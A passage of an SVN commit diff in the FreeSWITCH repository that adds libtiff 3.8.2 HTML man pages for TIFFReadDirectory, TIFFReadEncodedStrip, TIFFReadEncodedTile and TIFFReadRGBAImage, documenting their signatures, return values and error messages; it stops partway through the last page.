Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadDirectory.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadDirectory.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadDirectory.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadDirectory.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadDirectory.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,218 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadDirectory</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadDirectory</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>TIFFReadDirectory &minus; get the contents of the
+next directory in an open</big> TIFF <big>file</big></p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>#include &lt;tiffio.h&gt;</b></big></p>
+<!-- INDENTATION -->
+<p><big><b>int TIFFReadDirectory(TIFF
+*</b><i>tif</i><b>)</b></big></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Read the next directory in the specified file and
+make it the current directory. Applications only need to
+call <i>TIFFReadDirectory</i> to read multiple subfiles in a
+single</big> TIFF <big>file&mdash; the first directory in a
+file is automatically read when <i>TIFFOpen</i> is
+called.</big></p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>If the library is compiled with</big>
+STRIPCHOP_SUPPORT <big>enabled, then images that have a
+single uncompressed strip or tile of data are automatically
+treated as if they were made up of multiple strips or tiles
+of approximately 8 kilobytes each. This operation is done
+only in-memory; it does not alter the contents of the file.
+However, the construction of the &lsquo;&lsquo;chopped
+strips&rsquo;&rsquo; is visible to the application through
+the number of strips [tiles] returned by
+<i>TIFFNumberOfStrips</i>
+[<i>TIFFNumberOfTiles</i>].</big></p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>If the next directory was successfully read, 1 is
+returned. Otherwise, 0 is returned if an error was
+encountered, or if there are no more directories to be
+read.</big></p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine. All warning messages are
+directed to the <i>TIFFWarning</i>(3TIFF) routine.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Seek error accessing TIFF directory</b>. An error
+occurred while positioning to the location of the
+directory.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Wrong data type %d for field &quot;%s&quot;</b>.
+The tag entry in the directory had an incorrect data type.
+For example, an <i>ImageDescription</i> tag with a</big>
+SHORT <big>data type.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing required &quot;%s&quot;
+field</b>. The specified tag is required to be present by
+the</big> TIFF <big>5.0 specification, but is missing. The
+directory is (usually) unusable.</big></p>
+<!-- INDENTATION -->
+<p><big><b>%s: Rational with zero denominator</b>. A
+directory tag has a</big> RATIONAL <big>value whose
+denominator is zero.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Incorrect count %d for field &quot;%s&quot; (%lu,
+expecting %lu); tag ignored</b>. The specified tag&rsquo;s
+count field is bad. For example, a count other than 1 for a
+<i>SubFileType</i> tag.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Cannot handle different per-sample values for
+field &quot;%s&quot;</b>. The tag has <i>SamplesPerPixel</i>
+values and they are not all the same; e.g.
+<i>BitsPerSample</i>. The library is unable to handle images
+of this sort.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Count mismatch for field &quot;%s&quot;;
+expecting %d, got %d</b>. The count field in a tag does not
+agree with the number expected by the library. This should
+never happen, so if it does, the library refuses to read the
+directory.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Invalid TIFF directory; tags are not sorted in
+ascending order</b>. The directory tags are not properly
+sorted as specified in the</big> TIFF <big>5.0
+specification. This error is not fatal.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Ignoring unknown field with tag %d (0x%x)</b>. An
+unknown tag was encountered in the directory; the library
+ignores all such tags.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing requred
+&quot;ImageLength&quot; field</b>. The image violates the
+specification by not having a necessary field. There is no
+way for the library to recover from this error.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing requred
+&quot;PlanarConfig&quot; field</b>. The image violates the
+specification by not having a necessary field. There is no
+way for the library to recover from this error.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing requred
+&quot;StripOffsets&quot; field</b>. The image has multiple
+strips, but is missing the tag that specifies the file
+offset to each strip of data. There is no way for the
+library to recover from this error.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing requred
+&quot;TileOffsets&quot; field</b>. The image has multiple
+tiles, but is missing the tag that specifies the file offset
+to each tile of data. There is no way for the library to
+recover from this error.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing required
+&quot;StripByteCounts&quot; field</b>. The image has
+multiple strips, but is missing the tag that specifies the
+size of each strip of data. There is no way for the library
+to recover from this error.</big></p>
+<!-- INDENTATION -->
+<p><big><b>TIFF directory is missing required
+&quot;StripByteCounts&quot; field, calculating from
+imagelength</b>. The image violates the specification by not
+having a necessary field. However, when the image is
+comprised of only one strip or tile, the library will
+estimate the missing value based on the file size.</big></p>
+<!-- INDENTATION -->
+<p><big><b>Bogus &quot;StripByteCounts&quot; field, ignoring
+and calculating from imagelength</b>. Certain vendors
+violate the specification by writing zero for the
+StripByteCounts tag when they want to leave the value
+unspecified. If the image has a single strip, the library
+will estimate the missing value based on the file
+size.</big></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFOpen</b>(3TIFF),
+<b>TIFFWriteDirectory</b>(3TIFF),
+<b>TIFFSetDirectory</b>(3TIFF),
+<b>TIFFSetSubDirectory</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</big></p>
+<!-- INDENTATION -->
+<p><big>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></big></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedStrip.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedStrip.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadEncodedStrip.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedStrip.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedStrip.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,133 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadEncodedStrip</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadEncodedStrip</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>TIFFReadEncodedStrip &minus; read and decode a strip
+of data from an open</big> TIFF <big>file</big></p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>#include &lt;tiffio.h&gt;</b></big></p>
+<!-- INDENTATION -->
+<p><big><b>tsize_t TIFFReadEncodedStrip(TIFF
+*</b><i>tif</i><b>, tstrip_t</b> <i>strip</i><b>,
+tdata_t</b> <i>buf</i><b>, tsize_t</b>
+<i>size</i><b>)</b></big></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>Read the specified strip of data and place up to
+<i>size</i> bytes of decompressed information in the (user
+supplied) data buffer.</big></p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The value of <i>strip</i> is a &lsquo;&lsquo;raw
+strip number.&rsquo;&rsquo; That is, the caller must take
+into account whether or not the data are organized in
+separate planes (<i>PlanarConfiguration</i>=2). To read a
+full strip of data the data buffer should typically be at
+least as large as the number returned by
+<b>TIFFStripSize</b>(3TIFF). If the -1 passed in <i>size</i>
+parameter, the whole strip will be read. You should be sure
+you have enough space allocated for the buffer.</big></p>
+<!-- INDENTATION -->
+<p><big>The library attempts to hide bit- and byte-ordering
+differences between the image and the native machine by
+converting data to the native machine order. Bit reversal is
+done if the <i>FillOrder</i> tag is opposite to the native
+machine bit order. 16- and 32-bit samples are automatically
+byte-swapped if the file was written with a byte order
+opposite to the native machine byte order,</big></p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>The actual number of bytes of data that were placed
+in <i>buf</i> is returned; <i>TIFFReadEncodedStrip</i>
+returns &minus;1 if an error was encountered.</big></p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</big></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><big><b>TIFFOpen</b>(3TIFF),
+<b>TIFFReadRawStrip</b>(3TIFF),
+<b>TIFFReadScanline</b>(3TIFF),
+<b>libtiff</b>(3TIFF)</big></p>
+<!-- INDENTATION -->
+<p><big>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></big></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedTile.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedTile.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadEncodedTile.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedTile.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadEncodedTile.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,130 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadEncodedTile</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadEncodedTile</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadEncodedTile &minus; read and decode a tile of
+data from an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFReadEncodedTile(TIFF *</b><i>tif</i><b>,
+u_long</b> <i>tile</i><b>, u_char *</b><i>buf</i><b>,
+u_long</b> <i>size</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>Read the specified tile of data and place up to
+<i>size</i> bytes of decompressed information in the (user
+supplied) data buffer.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The value of <i>tile</i> is a &lsquo;&lsquo;raw tile
+number.&rsquo;&rsquo; That is, the caller must take into
+account whether or not the data are organized in separate
+planes (<i>PlanarConfiguration</i>=2).
+<i>TIFFComputeTile</i> automatically does this when
+converting an (x,y,z,sample) coordinate quadruple to a tile
+number. To read a full tile of data the data buffer should
+be at least as large as the value returned by
+<i>TIFFTileSize</i>.</p>
+<!-- INDENTATION -->
+<p>The library attempts to hide bit- and byte-ordering
+differences between the image and the native machine by
+converting data to the native machine order. Bit reversal is
+done if the <i>FillOrder</i> tag is opposite to the native
+machine bit order. 16- and 32-bit samples are automatically
+byte-swapped if the file was written with a byte order
+opposite to the native machine byte order,</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>The actual number of bytes of data that were placed in
+<i>buf</i> is returned; <i>TIFFReadEncodedTile</i> returns
+&minus;1 if an error was encountered.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFReadRawTile</b>(3TIFF),
+<b>TIFFReadTile</b>(3TIFF), <b>libtiff</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAImage.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAImage.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFReadRGBAImage.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAImage.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFReadRGBAImage.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,301 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:09 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFReadRGBAImage</title>
+</head>
+<body>
+
+<h1 align=center>TIFFReadRGBAImage</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#NOTES">NOTES</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFReadRGBAImage, TIFFReadRGBAImageOriented &minus; read
+and decode an image into a fixed-format raster</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>#define TIFFGetR(abgr) ((abgr) &amp; 0xff)<br>
+#define TIFFGetG(abgr) (((abgr) &gt;&gt; 8) &amp; 0xff)<br>
+#define TIFFGetB(abgr) (((abgr) &gt;&gt; 16) &amp; 0xff)<br>
+#define TIFFGetA(abgr) (((abgr) &gt;&gt; 24) &amp;
+0xff)</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFReadRGBAImage(TIFF *</b><i>tif</i><b>,
+u_long</b> <i>width</i><b>, u_long</b> <i>height</i><b>,
+u_long *</b><i>raster</i><b>, int</b>
+<i>stopOnError</i><b>)<br>
+int TIFFReadRGBAImageOriented(TIFF *</b><i>tif</i><b>,
+u_long</b> <i>width</i><b>, u_long</b> <i>height</i><b>,
+u_long *</b><i>raster</i><b>, int</b> <i>orientation</i><b>,
+int</b> <i>stopOnError</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFReadRGBAImage</i> reads a strip- or tile-based
+image into memory, storing the result in the user supplied
+<i>raster</i>. The raster is assumed to be an array of
+<i>width</i> times <i>height</i> 32-bit entries, where
+<i>width</i> must be less than or equal to the width of the
+image (<i>height</i> may be any non-zero size). If the
+raster dimensions are smaller than the image, the image data
+is cropped to the raster bounds. If the raster height is
+greater than that of the image, then the image data are
+placed in the lower part of the raster. (Note that the
+raster is assume to be organized such that the pixel at
+location (<i>x</i>,<i>y</i>) is
+<i>raster</i>[<i>y</i>*<i>width</i>+<i>x</i>]; with the
+raster origin in the lower-left hand corner.)</p>
+<!-- INDENTATION -->
+<p><i>TIFFReadRGBAImageOriented</i> works like
+<i>TIFFReadRGBAImage</i> with except of that user can
+specify the raster origin position with the
+<i>orientation</i> parameter. Four orientations
+supported:</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>ORIENTATION_TOPLEFT</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>origin in top-left corner,</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>ORIENTATION_TOPRIGHT</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>origin in top-right corner,</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>ORIENTATION_BOTLEFT</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>origin in bottom-left corner and</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>ORIENTATION_BOTRIGHT</b></p></td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="19%"></td>
+<td width="80%">
+<p>origin in bottom-right corner.</p>
+</td>
+</table>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>If you choose <b>ORIENTATION_BOTLEFT</b> result will be
+the same as returned by the <i>TIFFReadRGBAImage.</i></p>
+<!-- INDENTATION -->
+<p>Raster pixels are 8-bit packed red, green, blue, alpha
+samples. The macros <i>TIFFGetR</i>, <i>TIFFGetG</i>,
+<i>TIFFGetB</i>, and <i>TIFFGetA</i> should be used to
+access individual samples. Images without Associated Alpha
+matting information have a constant Alpha of 1.0 (255).</p>
+<!-- INDENTATION -->
+<p><i>TIFFReadRGBAImage</i> converts non-8-bit images by
+scaling sample values. Palette, grayscale, bilevel,
+<small>CMYK</small> , and YCbCr images are converted to
+<small>RGB</small> transparently. Raster pixels are returned
+uncorrected by any colorimetry information present in the
+directory.</p>
+<!-- INDENTATION -->
+<p>The paramater <i>stopOnError</i> specifies how to act if
+an error is encountered while reading the image. If
+<i>stopOnError</i> is non-zero, then an error will terminate
+the operation; otherwise <i>TIFFReadRGBAImage</i> will
+continue processing data until all the possible data in the
+image have been requested.</p>
+</td>
+</table>
+<a name="NOTES"></a>
+<h2>NOTES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>In C++ the <i>stopOnError</i> parameter defaults to
+0.</p>
+<!-- INDENTATION -->
+<p>Samples must be either 1, 2, 4, 8, or 16 bits.
+Colorimetric samples/pixel must be either 1, 3, or 4 (i.e.
+<i>SamplesPerPixel</i> minus <i>ExtraSamples</i>).</p>
+<!-- INDENTATION -->
+<p>Palettte image colormaps that appear to be incorrectly
+written as 8-bit values are automatically scaled to
+16-bits.</p>
+<!-- INDENTATION -->
+<p><i>TIFFReadRGBAImage</i> is just a wrapper around the
+more general <i>TIFFRGBAImage</i>(3TIFF) facilities.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>1 is returned if the image was successfully read and
+converted. Otherwise, 0 is returned if an error was
+encountered and <i>stopOnError</i> is zero.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<i>TIFFError</i>(3TIFF) routine.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-bit pictures</b>. The image
+had <i>BitsPerSample</i> other than 1, 2, 4, 8, or 16.</p>
+<!-- INDENTATION -->
+<p><b>Sorry, can not handle %d-channel images</b>. The image
+had <i>SamplesPerPixel</i> other than 1, 3, or 4.</p>
+<!-- INDENTATION -->
+<p><b>Missing needed &quot;PhotometricInterpretation&quot;
+tag</b>. The image did not have a tag that describes how to
+display the data.</p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+RGB</b>. The image was missing a tag that describes how to
+display it, but because it has 3 or 4 samples/pixel, it is
+assumed to be <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No &quot;PhotometricInterpretation&quot; tag, assuming
+min-is-black</b>. The image was missing a tag that describes
+how to display it, but because it has 1 sample/pixel, it is
+assumed to be a grayscale or bilevel image.</p>
+<!-- INDENTATION -->
+<p><b>No space for photometric conversion table</b>. There
+was insufficient memory for a table used to convert image
+samples to 8-bit <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>Missing required &quot;Colormap&quot; tag</b>. A
+Palette image did not have a required <i>Colormap</i>
+tag.</p>
+<!-- INDENTATION -->
+<p><b>No space for tile buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>No space for strip buffer</b>. There was insufficient
+memory to allocate an i/o buffer.</p>
+<!-- INDENTATION -->
+<p><b>Can not handle format</b>. The image has a format
+(combination of <i>BitsPerSample</i>,
+<i>SamplesPerPixel</i>, and
+<i>PhotometricInterpretation</i>) that
+<i>TIFFReadRGBAImage</i> can not handle.</p>
+<!-- INDENTATION -->
+<p><b>No space for B&amp;W mapping table</b>. There was
+insufficient memory to allocate a table used to map
+grayscale data to <small>RGB.</small></p>
+<!-- INDENTATION -->
+<p><b>No space for Palette mapping table</b>. There was
+insufficient memory to allocate a table used to map data to
+8-bit <small>RGB.</small></p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF), <b>TIFFRGBAImage</b>(3TIFF),
